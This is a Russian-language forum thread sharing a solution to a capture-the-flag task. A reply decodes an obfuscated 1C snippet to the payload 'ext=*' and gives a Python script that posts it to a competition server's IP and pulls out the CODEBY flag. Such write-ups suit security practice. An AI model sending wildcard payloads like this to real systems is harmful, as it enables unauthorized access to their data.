 |

20.11.2023, 17:22
|
|
Новичок
Регистрация: 19.11.2023
Сообщений: 0
С нами:
1309023
Репутация:
0
|
|
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

|
|
|

20.11.2023, 20:24
|
|
Новичок
Регистрация: 20.11.2023
Сообщений: 0
С нами:
1307404
Репутация:
0
|
|
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
|
|
|

24.11.2023, 17:03
|
|
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами:
2942175
Репутация:
0
|
|
Jackerinho сказал(а):
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
Разбор для самых маленьких.
Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):
За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.
Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));
СпортивноеТело = "";
Для Каждого Х из УЙ Цикл
СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:
Код:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.
А на питоне это выглядело бы так:
Python:
Код:
import
requests
response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
|
|
|

24.11.2023, 17:44
|
|
Новичок
Регистрация: 19.11.2023
Сообщений: 0
С нами:
1309023
Репутация:
0
|
|
ALT1RE сказал(а):
Разбор для самых маленьких.
Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):
За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.
Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));
СпортивноеТело = "";
Для Каждого Х из УЙ Цикл
СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;
где:
Код:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.
После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.
А на питоне это выглядело бы так:
Python:
Код:
import
requests
response
=
requests
.
post
(
'http://62.173.140.174:16028/'
,
data
=
ПЕЙЛОАД
,
headers
=
{
'Content-Type'
:
'application/x-www-form-urlencoded'
}
)
if
response
.
ok
:
print
(
response
.
text
[
response
.
text
.
find
(
"CODEBY{"
)
:
response
.
text
.
find
(
"}"
,
response
.
text
.
find
(
"CODEBY{"
)
,
len
(
response
.
text
)
)
+
1
]
)
Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор
|
|
|

27.11.2023, 11:44
|
|
Новичок
Регистрация: 29.08.2023
Сообщений: 0
С нами:
1427397
Репутация:
0
|
|
artesk сказал(а):
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Вот это вы заморочились)
|
|
|

29.11.2023, 22:21
|
|
Новичок
Регистрация: 27.09.2016
Сообщений: 0
С нами:
5065925
Репутация:
0
|
|
artesk сказал(а):
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N" ,61},{"N",42}}}?
|
|
|

30.11.2023, 01:53
|
|
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами:
2942175
Репутация:
0
|
|
veterok сказал(а):
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N" ,61},{"N",42}}}?
читайте второй комментарий
|
|
|

12.05.2024, 00:50
|
|
Новичок
Регистрация: 24.03.2020
Сообщений: 0
С нами:
3231698
Репутация:
0
|
|
artesk сказал(а):
Всем привет!
Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.
Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
|
|
|

13.05.2024, 15:30
|
|
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами:
2942175
Репутация:
0
|
|
sweetpotatohack сказал(а):
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
ну сразу рассказал бы как! к чему эти бессмысленные сообщения плодить?!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|